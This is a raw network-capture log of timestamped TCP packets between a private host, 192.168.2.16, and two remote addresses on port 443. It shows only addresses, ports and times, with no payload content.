Oct 24, 2024 00:26:43.312987089 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.315864086 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.316030979 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.316035986 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.318800926 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.318851948 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.318872929 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.321433067 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.321492910 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.321507931 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.324420929 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.324479103 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.324485064 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.327162981 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.327222109 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.327231884 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.330847025 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.330903053 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.330914021 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.333002090 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.333112001 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.333117962 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.335418940 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.335585117 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.335589886 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.337971926 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.338228941 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.338239908 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.340503931 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.340572119 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.340578079 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.343123913 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.343288898 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.343298912 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.345575094 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.345619917 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.345624924 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.348182917 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.348232031 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.348236084 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.350651979 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.350784063 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.350794077 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.352935076 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.352982044 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.352988005 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.355456114 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.355653048 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.355659008 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.357875109 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.357949972 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.357955933 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.360148907 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.360212088 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.360224009 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.362505913 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.362642050 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.362648010 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.364809036 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.364990950 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.365004063 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.367180109 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.367227077 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.367237091 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.369357109 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.369620085 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.369628906 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.371604919 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.371694088 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.371701956 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.373867035 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.373944998 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.373956919 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.376657963 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.376741886 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.376751900 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.378230095 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.378278971 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.378284931 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.380295038 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.380359888 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.380372047 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.382760048 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.382858038 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.382869005 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.387104034 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.387176037 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.387188911 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.391999960 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.392036915 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.392088890 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.392102957 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.392158985 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.396644115 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.400213957 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:43.400242090 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:43.400250912 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:43.400316000 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:43.400333881 CEST	49709	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:43.400387049 CEST	49709	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:43.401005030 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.401052952 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.401068926 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.401456118 CEST	49709	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:43.401474953 CEST	443	49709	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:43.405466080 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.405494928 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.405546904 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.405555010 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.406068087 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.409961939 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.414310932 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.414343119 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.414365053 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.414395094 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.414433956 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.418728113 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.423700094 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.423764944 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.423849106 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.423860073 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.423899889 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.424160957 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.428587914 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.428649902 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.428664923 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.430170059 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.430227041 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.430238008 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.433043003 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.433100939 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.433120012 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.436039925 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.436070919 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.436108112 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.436119080 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.436170101 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.438874006 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.441376925 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.441427946 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.441437960 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.444118977 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.444264889 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.444282055 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.444286108 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.444349051 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.447824955 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.449917078 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.449969053 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.449980021 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.452486992 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.452545881 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.452549934 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.453214884 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.453264952 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.453269005 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.455106974 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.455162048 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.455166101 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.457597017 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.457650900 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.457657099 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.460275888 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.460383892 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.460388899 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.462760925 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.462831020 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.462841988 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.465297937 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.465327978 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.465470076 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.465476990 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.465742111 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.467813969 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.470163107 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.470207930 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.470227003 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.470232010 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.470278978 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.472548962 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.475110054 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.475198984 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.475261927 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.475282907 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.475334883 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.477288961 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.479351044 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.479402065 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.479418039 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.479573965 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.479615927 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.479621887 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.482351065 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.482402086 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.482414961 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.484360933 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.484442949 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.484448910 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.486582994 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.486634016 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.486639977 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.489109039 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.489166021 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.489177942 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.491070986 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.491110086 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.491123915 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.491132021 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.491182089 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.494021893 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.495908022 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.495943069 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.496004105 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.496011972 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.496051073 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.497483969 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.499712944 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.499766111 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.499777079 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.500654936 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.500745058 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.500750065 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.504266977 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.504348040 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.504354954 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.509135962 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.509186029 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.509196043 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.516333103 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.516382933 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.516391993 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.518368006 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.518421888 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.518428087 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.522783995 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.522994041 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.523009062 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.527753115 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.527858019 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.527865887 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.531652927 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.531703949 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.531739950 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.531750917 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.531807899 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.535888910 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.540961027 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.541018009 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.541028976 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.544995070 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.545036077 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.545082092 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.545088053 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.545150995 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.546098948 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.546650887 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:43.546695948 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:43.546766043 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:43.546866894 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:43.546902895 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:43.546976089 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:43.547141075 CEST	49711	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:43.547158957 CEST	443	49711	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:43.547172070 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.547240973 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.547245979 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.547454119 CEST	49712	443	192.168.2.16	201.102.105.236
Oct 24, 2024 00:26:43.547466993 CEST	443	49712	201.102.105.236	192.168.2.16
Oct 24, 2024 00:26:43.550151110 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.550211906 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.550215960 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.553045988 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.553108931 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.553114891 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.555668116 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.555732012 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.555742025 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.558640003 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.558670044 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.558718920 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.558723927 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.558758974 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.561384916 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.564984083 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.565054893 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.565059900 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.565071106 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.565114975 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.565124989 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.567289114 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.567399025 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.567406893 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.574598074 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.574628115 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.574661970 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.574678898 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.574736118 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.574784994 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.574841976 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.574878931 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.574883938 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.576287985 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.576361895 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.576366901 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.577817917 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.577867031 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.577877045 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.580801964 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.581386089 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.581396103 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.582489967 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.582552910 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.582557917 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.584850073 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.584908962 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.584913969 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.587302923 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.587349892 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.587359905 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.589662075 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.589983940 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.589989901 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.592256069 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.592339039 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.592344046 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.594571114 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.594619036 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.594624043 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.596611977 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.596720934 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.596743107 CEST	443	49708	142.250.186.97	192.168.2.16
Oct 24, 2024 00:26:43.596769094 CEST	49708	443	192.168.2.16	142.250.186.97
Oct 24, 2024 00:26:43.596775055 CEST	443	49708	142.250.186.97	192.168.2.16
